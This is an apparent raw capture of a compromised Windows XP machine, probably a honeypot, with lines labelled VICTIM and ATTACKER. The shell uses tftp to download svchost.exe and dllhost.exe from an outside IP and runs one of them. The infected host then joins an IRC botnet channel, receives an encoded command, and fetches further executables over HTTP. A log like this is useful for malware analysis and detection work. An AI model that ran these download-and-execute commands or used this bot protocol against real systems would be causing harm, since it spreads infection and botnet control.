VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	tftp -i 113.252.244.40 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	tftp -i 113.252.244.40 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	\000\004\000; 
VICTIM:  	\000\004\000< 
VICTIM:  	\000\004\000< 
VICTIM:  	\000\004\000= 
VICTIM:  	\000\004\000> 
VICTIM:  	\000\004\000> 
VICTIM:  	\000\004\000? 
VICTIM:  	\000\004\000@ 
VICTIM:  	\000\004\000A 
VICTIM:  	\000\004\000B 
VICTIM:  	\000\004\000C 
VICTIM:  	\000\004\000D 
VICTIM:  	\000\004\000E 
VICTIM:  	\000\004\000F 
VICTIM:  	\000\004\000G 
VICTIM:  	\000\004\000H 
VICTIM:  	\000\004\000I 
VICTIM:  	\000\004\000J 
VICTIM:  	\000\004\000K 
VICTIM:  	\000\004\000L 
VICTIM:  	\000\004\000M 
VICTIM:  	\000\004\000N 
VICTIM:  	\000\004\000O 
VICTIM:  	\000\004\000P 
VICTIM:  	\000\004\000Q 
VICTIM:  	\000\004\000R 
VICTIM:  	\000\004\000R 
VICTIM:  	\000\004\000R 
VICTIM:  	\000\004\000S 
VICTIM:  	\000\004\000T 
VICTIM:  	\000\004\000U 
VICTIM:  	\000\004\000V 
VICTIM:  	\000\004\000W 
VICTIM:  	\000\004\000X 
VICTIM:  	\000\004\000Y 
VICTIM:  	\000\004\000Z 
VICTIM:  	\000\004\000[ 
VICTIM:  	\000\004\000\\ 
VICTIM:  	\000\004\000] 
VICTIM:  	\000\004\000^ 
VICTIM:  	\000\004\000_ 
VICTIM:  	\000\004\000` 
VICTIM:  	\000\004\000a 
VICTIM:  	\000\004\000a 
VICTIM:  	\000\004\000b 
VICTIM:  	\000\004\000c 
VICTIM:  	\000\004\000c 
VICTIM:  	\000\004\000d 
VICTIM:  	\000\004\000e 
VICTIM:  	\000\004\000f 
VICTIM:  	\000\004\000g 
VICTIM:  	\000\004\000h 
VICTIM:  	\000\004\000h 
VICTIM:  	\000\004\000i 
VICTIM:  	\000\004\000j 
VICTIM:  	\000\004\000k 
VICTIM:  	\000\004\000l 
VICTIM:  	\000\004\000m 
VICTIM:  	\000\004\000n 
VICTIM:  	\000\004\000o 
VICTIM:  	\000\004\000p 
VICTIM:  	\000\004\000q 
VICTIM:  	\000\004\000r 
VICTIM:  	\000\004\000s 
VICTIM:  	\000\004\000s 
VICTIM:  	\000\004\000t 
VICTIM:  	\000\004\000t 
VICTIM:  	\000\004\000u 
VICTIM:  	\000\004\000v 
VICTIM:  	\000\004\000w 
VICTIM:  	\000\004\000x 
VICTIM:  	\000\004\000x 
VICTIM:  	\000\004\000y 
VICTIM:  	\000\004\000z 
VICTIM:  	\000\004\000{ 
VICTIM:  	\000\004\000| 
VICTIM:  	\000\004\000} 
VICTIM:  	\000\004\000~ 
VICTIM:  	\000\004\000\177 
VICTIM:  	\000\004\000\200 
VICTIM:  	\000\004\000\201 
VICTIM:  	\000\004\000\202 
VICTIM:  	\000\004\000\203 
VICTIM:  	\000\004\000\204 
VICTIM:  	\000\004\000\205 
VICTIM:  	\000\004\000\206 
VICTIM:  	\000\004\000\206 
VICTIM:  	\000\004\000\207 
VICTIM:  	\000\004\000\210 
VICTIM:  	\000\004\000\211 
VICTIM:  	\000\004\000\211 
VICTIM:  	\000\004\000\212 
VICTIM:  	\000\004\000\213 
VICTIM:  	\000\004\000\214 
VICTIM:  	\000\004\000\215 
VICTIM:  	\000\004\000\216 
VICTIM:  	\000\004\000\217 
VICTIM:  	\000\004\000\220 
VICTIM:  	\000\004\000\221 
VICTIM:  	\000\004\000\221 
VICTIM:  	\000\004\000\222 
VICTIM:  	\000\004\000\223 
VICTIM:  	\000\004\000\224 
VICTIM:  	\000\004\000\225 
VICTIM:  	\000\004\000\225 
VICTIM:  	\000\004\000\226 
VICTIM:  	\000\004\000\227 
VICTIM:  	\000\004\000\230 
VICTIM:  	\000\004\000\231 
VICTIM:  	\000\004\000\231 
VICTIM:  	\000\004\000\232 
VICTIM:  	\000\004\000\233 
VICTIM:  	\000\004\000\234 
VICTIM:  	\000\004\000\235 
VICTIM:  	\000\004\000\236 
VICTIM:  	\000\004\000\237 
VICTIM:  	\000\004\000\240 
VICTIM:  	\000\004\000\241 
VICTIM:  	\000\004\000\242 
VICTIM:  	\000\004\000\243 
VICTIM:  	\000\004\000\243 
VICTIM:  	\000\004\000\244 
VICTIM:  	\000\004\000\245 
VICTIM:  	\000\004\000\246 
VICTIM:  	\000\004\000\247 
VICTIM:  	\000\004\000\247 
VICTIM:  	\000\004\000\250 
VICTIM:  	\000\004\000\251 
VICTIM:  	\000\004\000\252 
VICTIM:  	\000\004\000\253 
VICTIM:  	\000\004\000\254 
VICTIM:  	\000\004\000\255 
VICTIM:  	\000\004\000\256 
VICTIM:  	\000\004\000\257 
VICTIM:  	\000\004\000\260 
VICTIM:  	\000\004\000\261 
VICTIM:  	\000\004\000\261 
VICTIM:  	\000\004\000\262 
VICTIM:  	\000\004\000\263 
VICTIM:  	\000\004\000\264 
VICTIM:  	\000\004\000\265 
VICTIM:  	\000\004\000\266 
VICTIM:  	\000\004\000\267 
VICTIM:  	\000\004\000\270 
VICTIM:  	\000\004\000\271 
VICTIM:  	\000\004\000\272 
VICTIM:  	\000\004\000\273 
VICTIM:  	\000\004\000\273 
VICTIM:  	\000\004\000\274 
VICTIM:  	\000\004\000\275 
VICTIM:  	\000\004\000\276 
VICTIM:  	\000\004\000\277 
VICTIM:  	\000\004\000\300 
VICTIM:  	\000\004\000\301 
VICTIM:  	\000\004\000\301 
VICTIM:  	\000\004\000\302 
VICTIM:  	\000\004\000\303 
VICTIM:  	\000\004\000\304 
VICTIM:  	\000\004\000\305 
VICTIM:  	\000\004\000\306 
VICTIM:  	\000\004\000\307 
VICTIM:  	\000\004\000\310 
VICTIM:  	\000\004\000\311 
VICTIM:  	\000\004\000\312 
VICTIM:  	\000\004\000\313 
VICTIM:  	\000\004\000\314 
VICTIM:  	\000\004\000\315 
VICTIM:  	\000\004\000\316 
VICTIM:  	\000\004\000\317 
VICTIM:  	\000\004\000\320 
VICTIM:  	\000\004\000\320 
VICTIM:  	\000\004\000\321 
VICTIM:  	\000\004\000\322 
VICTIM:  	\000\004\000\323 
VICTIM:  	\000\004\000\324 
VICTIM:  	\000\004\000\325 
VICTIM:  	\000\004\000\326 
VICTIM:  	\000\004\000\327 
VICTIM:  	\000\004\000\330 
VICTIM:  	\000\004\000\331 
VICTIM:  	\000\004\000\332 
VICTIM:  	\000\004\000\333 
VICTIM:  	\000\004\000\334 
VICTIM:  	\000\004\000\335 
VICTIM:  	\000\004\000\336 
VICTIM:  	\000\004\000\337 
VICTIM:  	\000\004\000\340 
VICTIM:  	\000\004\000\341 
VICTIM:  	\000\004\000\342 
VICTIM:  	\000\004\000\343 
VICTIM:  	\000\004\000\344 
VICTIM:  	\000\004\000\345 
VICTIM:  	\000\004\000\346 
VICTIM:  	\000\004\000\347 
VICTIM:  	\000\004\000\350 
VICTIM:  	\000\004\000\351 
VICTIM:  	\000\004\000\352 
VICTIM:  	\000\004\000\353 
VICTIM:  	\000\004\000\354 
VICTIM:  	\000\004\000\355 
VICTIM:  	\000\004\000\356 
VICTIM:  	\000\004\000\357 
VICTIM:  	\000\004\000\360 
VICTIM:  	\000\004\000\361 
VICTIM:  	\000\004\000\362 
VICTIM:  	\000\004\000\363 
VICTIM:  	\000\004\000\364 
VICTIM:  	\000\004\000\365 
VICTIM:  	\000\004\000\366 
VICTIM:  	\000\004\000\367 
VICTIM:  	\000\004\000\370 
VICTIM:  	\000\004\000\371 
VICTIM:  	\000\004\000\372 
VICTIM:  	\000\004\000\373 
VICTIM:  	\000\004\000\374 
VICTIM:  	\000\004\000\375 
VICTIM:  	\000\004\000\376 
VICTIM:  	\000\004\000\376 
VICTIM:  	\000\004\000\377 
VICTIM:  	Transfer successful: 130048 bytes in 80 seconds, 1625 bytes/s 
VICTIM:  	Transfer successful: 130048 bytes in 80 seconds, 1625 bytes/sC:\\WINDOWS\\system32> 
VICTIM:  	tftp -i 113.252.244.40 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	\000\004\000; 
VICTIM:  	\000\004\000< 
VICTIM:  	\000\004\000= 
VICTIM:  	\000\004\000> 
VICTIM:  	\000\004\000? 
VICTIM:  	\000\004\000@ 
VICTIM:  	\000\004\000@ 
VICTIM:  	\000\004\000A 
VICTIM:  	\000\004\000A 
VICTIM:  	\000\004\000B 
VICTIM:  	\000\004\000C 
VICTIM:  	\000\004\000D 
VICTIM:  	\000\004\000D 
VICTIM:  	\000\004\000E 
VICTIM:  	\000\004\000F 
VICTIM:  	\000\004\000G 
VICTIM:  	\000\004\000H 
VICTIM:  	\000\004\000H 
VICTIM:  	\000\004\000I 
VICTIM:  	\000\004\000J 
VICTIM:  	\000\004\000K 
VICTIM:  	\000\004\000L 
VICTIM:  	\000\004\000M 
VICTIM:  	\000\004\000N 
VICTIM:  	\000\004\000O 
VICTIM:  	\000\004\000P 
VICTIM:  	\000\004\000Q 
VICTIM:  	\000\004\000R 
VICTIM:  	\000\004\000R 
VICTIM:  	\000\004\000S 
VICTIM:  	\000\004\000T 
VICTIM:  	\000\004\000T 
VICTIM:  	\000\004\000U 
VICTIM:  	\000\004\000V 
VICTIM:  	\000\004\000W 
VICTIM:  	\000\004\000W 
VICTIM:  	\000\004\000X 
VICTIM:  	\000\004\000Y 
VICTIM:  	\000\004\000Z 
VICTIM:  	\000\004\000[ 
VICTIM:  	\000\004\000\\ 
VICTIM:  	\000\004\000] 
VICTIM:  	\000\004\000] 
VICTIM:  	\000\004\000^ 
VICTIM:  	\000\004\000_ 
VICTIM:  	\000\004\000` 
VICTIM:  	\000\004\000a 
VICTIM:  	\000\004\000b 
VICTIM:  	\000\004\000c 
VICTIM:  	\000\004\000d 
VICTIM:  	\000\004\000d 
VICTIM:  	\000\004\000d 
VICTIM:  	\000\004\000e 
VICTIM:  	\000\004\000f 
VICTIM:  	\000\004\000g 
VICTIM:  	\000\004\000h 
VICTIM:  	\000\004\000h 
VICTIM:  	\000\004\000i 
VICTIM:  	\000\004\000j 
VICTIM:  	\000\004\000k 
VICTIM:  	\000\004\000l 
VICTIM:  	\000\004\000m 
VICTIM:  	\000\004\000n 
VICTIM:  	\000\004\000o 
VICTIM:  	\000\004\000p 
VICTIM:  	\000\004\000q 
VICTIM:  	\000\004\000r 
VICTIM:  	\000\004\000s 
VICTIM:  	\000\004\000s 
VICTIM:  	\000\004\000t 
VICTIM:  	\000\004\000u 
VICTIM:  	\000\004\000v 
VICTIM:  	\000\004\000v 
VICTIM:  	\000\004\000w 
VICTIM:  	\000\004\000x 
VICTIM:  	\000\004\000y 
VICTIM:  	\000\004\000y 
VICTIM:  	\000\004\000z 
VICTIM:  	\000\004\000{ 
VICTIM:  	\000\004\000| 
VICTIM:  	\000\004\000} 
VICTIM:  	\000\004\000~ 
VICTIM:  	\000\004\000\177 
VICTIM:  	\000\004\000\200 
VICTIM:  	\000\004\000\201 
VICTIM:  	\000\004\000\202 
VICTIM:  	\000\004\000\203 
VICTIM:  	\000\004\000\203 
VICTIM:  	\000\004\000\204 
VICTIM:  	\000\004\000\205 
VICTIM:  	\000\004\000\206 
VICTIM:  	\000\004\000\207 
VICTIM:  	\000\004\000\210 
VICTIM:  	\000\004\000\211 
VICTIM:  	\000\004\000\212 
VICTIM:  	\000\004\000\213 
VICTIM:  	\000\004\000\214 
VICTIM:  	\000\004\000\214 
VICTIM:  	\000\004\000\215 
VICTIM:  	\000\004\000\216 
VICTIM:  	\000\004\000\217 
VICTIM:  	\000\004\000\220 
VICTIM:  	\000\004\000\221 
VICTIM:  	\000\004\000\222 
VICTIM:  	\000\004\000\223 
VICTIM:  	\000\004\000\224 
VICTIM:  	\000\004\000\225 
VICTIM:  	\000\004\000\226 
VICTIM:  	\000\004\000\227 
VICTIM:  	\000\004\000\230 
VICTIM:  	\000\004\000\231 
VICTIM:  	\000\004\000\232 
VICTIM:  	\000\004\000\233 
VICTIM:  	\000\004\000\234 
VICTIM:  	\000\004\000\235 
VICTIM:  	\000\004\000\236 
VICTIM:  	\000\004\000\237 
VICTIM:  	\000\004\000\240 
VICTIM:  	\000\004\000\241 
VICTIM:  	\000\004\000\242 
VICTIM:  	\000\004\000\243 
VICTIM:  	\000\004\000\244 
VICTIM:  	\000\004\000\245 
VICTIM:  	\000\004\000\246 
VICTIM:  	\000\004\000\247 
VICTIM:  	\000\004\000\250 
VICTIM:  	\000\004\000\251 
VICTIM:  	\000\004\000\252 
VICTIM:  	\000\004\000\253 
VICTIM:  	\000\004\000\254 
VICTIM:  	\000\004\000\255 
VICTIM:  	\000\004\000\256 
VICTIM:  	\000\004\000\257 
VICTIM:  	\000\004\000\260 
VICTIM:  	\000\004\000\261 
VICTIM:  	\000\004\000\262 
VICTIM:  	\000\004\000\263 
VICTIM:  	\000\004\000\264 
VICTIM:  	\000\004\000\265 
VICTIM:  	\000\004\000\266 
VICTIM:  	\000\004\000\267 
VICTIM:  	\000\004\000\270 
VICTIM:  	\000\004\000\271 
VICTIM:  	\000\004\000\272 
VICTIM:  	\000\004\000\273 
VICTIM:  	\000\004\000\274 
VICTIM:  	\000\004\000\275 
VICTIM:  	\000\004\000\276 
VICTIM:  	\000\004\000\277 
VICTIM:  	\000\004\000\300 
VICTIM:  	\000\004\000\301 
VICTIM:  	\000\004\000\302 
VICTIM:  	\000\004\000\303 
VICTIM:  	\000\004\000\304 
VICTIM:  	\000\004\000\305 
VICTIM:  	\000\004\000\306 
VICTIM:  	\000\004\000\307 
VICTIM:  	\000\004\000\310 
VICTIM:  	\000\004\000\311 
VICTIM:  	\000\004\000\312 
VICTIM:  	\000\004\000\312 
VICTIM:  	\000\004\000\312 
VICTIM:  	\000\004\000\313 
VICTIM:  	\000\004\000\314 
VICTIM:  	\000\004\000\315 
VICTIM:  	\000\004\000\316 
VICTIM:  	\000\004\000\317 
VICTIM:  	\000\004\000\320 
VICTIM:  	\000\004\000\320 
VICTIM:  	\000\004\000\321 
VICTIM:  	\000\004\000\322 
VICTIM:  	\000\004\000\322 
VICTIM:  	\000\004\000\323 
VICTIM:  	\000\004\000\324 
VICTIM:  	\000\004\000\325 
VICTIM:  	\000\004\000\326 
VICTIM:  	\000\004\000\327 
VICTIM:  	\000\004\000\330 
VICTIM:  	\000\004\000\331 
VICTIM:  	\000\004\000\332 
VICTIM:  	\000\004\000\332 
VICTIM:  	\000\004\000\333 
VICTIM:  	\000\004\000\334 
VICTIM:  	\000\004\000\335 
VICTIM:  	\000\004\000\336 
VICTIM:  	\000\004\000\337 
VICTIM:  	\000\004\000\340 
VICTIM:  	\000\004\000\340 
VICTIM:  	\000\004\000\341 
VICTIM:  	\000\004\000\342 
VICTIM:  	\000\004\000\343 
VICTIM:  	\000\004\000\344 
VICTIM:  	\000\004\000\345 
VICTIM:  	\000\004\000\346 
VICTIM:  	\000\004\000\347 
VICTIM:  	\000\004\000\350 
VICTIM:  	\000\004\000\351 
VICTIM:  	\000\004\000\352 
VICTIM:  	\000\004\000\353 
VICTIM:  	\000\004\000\354 
VICTIM:  	\000\004\000\355 
VICTIM:  	\000\004\000\356 
VICTIM:  	\000\004\000\357 
VICTIM:  	\000\004\000\360 
VICTIM:  	\000\004\000\361 
VICTIM:  	\000\004\000\362 
VICTIM:  	\000\004\000\363 
VICTIM:  	\000\004\000\364 
VICTIM:  	\000\004\000\365 
VICTIM:  	\000\004\000\366 
VICTIM:  	\000\004\000\367 
VICTIM:  	\000\004\000\370 
VICTIM:  	\000\004\000\371 
VICTIM:  	\000\004\000\372 
VICTIM:  	\000\004\000\373 
VICTIM:  	\000\004\000\374 
VICTIM:  	\000\004\000\375 
VICTIM:  	\000\004\000\376 
VICTIM:  	\000\004\000\377 
VICTIM:  	Transfer successful: 130048 bytes in 74 seconds, 1757 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	USER ziucwj ziucwj ziucwj :jrmsiaivxwuejgkz 
VICTIM:  	NICK knCcrgnd 
ATTACKER:	:irc.foonet.com NOTICE AUTH :*** Looking up your hostname... 
ATTACKER:	:irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead 
ATTACKER:	:irc.foonet.com 001 knCcrgnd :Welcome to the ROXnet IRC Network knCcrgnd!ziucwj@192.168.1.145:irc.foonet.com 002 knCcrgnd :Your host is irc.foonet.com, running version Unreal3.2.8.1:irc.foonet.com 003 knCcrgnd :This server was created 2009\345\271\264 06\346\234\210 24\346\227\245 CST at \346\230\237\346\234\237\344\270\211 17:34:11:irc.foonet.com 004 knCcrgnd irc.foonet.com Unreal3.2.8.1 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc.foonet.com 005 knCcrgnd CMDS=KNOCK,MAP,DCCALLOW,USERIP UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 :are supported by this server:irc.foonet.com 005 knCcrgnd MAXTARGETS=20 WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT :are supported by this server:irc.foonet.com 005 knCcrgnd STATUSMSG=~&@%+ EXCEPTS INVEX :are supported by this server:irc.foonet.com 251 knCcrgnd :There are 1697 users and 1538 invisible on 1 servers:irc.foonet.com 252 knCcrgnd 2 :operator(s) online:irc.foonet.com 253 knCcrgnd 1 :unknown connection(s):irc.foonet.com 254 knCcrgnd 8 :channels formed:irc.foonet.com 255 knCcrgnd :I have 3235 clients and 0 servers:irc.foonet.com 265 knCcrgnd :Current Local Users: 3235  Max: 7411:irc.foonet.com 266 knCcrgnd :Current Global Users: 3235  Max: 7411:irc.foonet.com 422 kn 
ATTACKER:	Ccrgnd :MOTD File is missing:knCcrgnd MODE knCcrgnd :+iwx 
VICTIM:  	MODE knCcrgnd +xi 
VICTIM:  	JOIN ##russia## USERHOST knCcrgnd 
ATTACKER:	:knCcrgnd!ziucwj@190D3D1C.6CA155F8.BC091238.IP JOIN :##russia##:irc.foonet.com 332 knCcrgnd ##russia## :=X6jGqPvhClXqnG4pYcQ5aiGf6poiVyOgllUeDD0Fdbq+reDBQtV+BabR42o6HQDCId2VWbiWtWfaFvfNRU+ZtTMoWkEz0TksOGmdo3cTNCex2CdEFOvaqxxVbp69BlolpFSt6QlV+L6nU9g+5R3/6fWT85p4Kd5YlGDqYcGeGzx6qdbWvlL/XO2GRTYTohOv5KvoBWKoI6CW:irc.foonet.com 333 knCcrgnd ##russia## ok 1246499291:irc.foonet.com 353 knCcrgnd @ ##russia## :knCcrgnd :irc.foonet.com 366 knCcrgnd ##russia## :End of /NAMES list.:irc.foonet.com 302 knCcrgnd :knCcrgnd=+ziucwj@192.168.1.145     
VICTIM:  	MODE ##russia## +smntu 
VICTIM:  	GET /datafinal.exe HTTP/1.0Host: hi5-gallerys.com 
ATTACKER:	GET /nas.exe HTTP/1.0Host: 220.196.42.160 
ATTACKER:	:irc.foonet.com 482 knCcrgnd ##russia## :You're not channel operator 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	PING :irc.foonet.com 
ATTACKER:	ERROR :Closing Link: knCcrgnd[192.168.1.145] (Ping timeout)